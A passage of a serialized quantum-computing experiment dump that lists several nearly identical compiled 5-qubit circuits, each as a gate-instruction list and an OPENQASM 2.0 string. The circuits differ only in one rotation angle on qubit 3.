['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1213', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.4000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1215', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1217', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1219', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.7000000000000002, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': 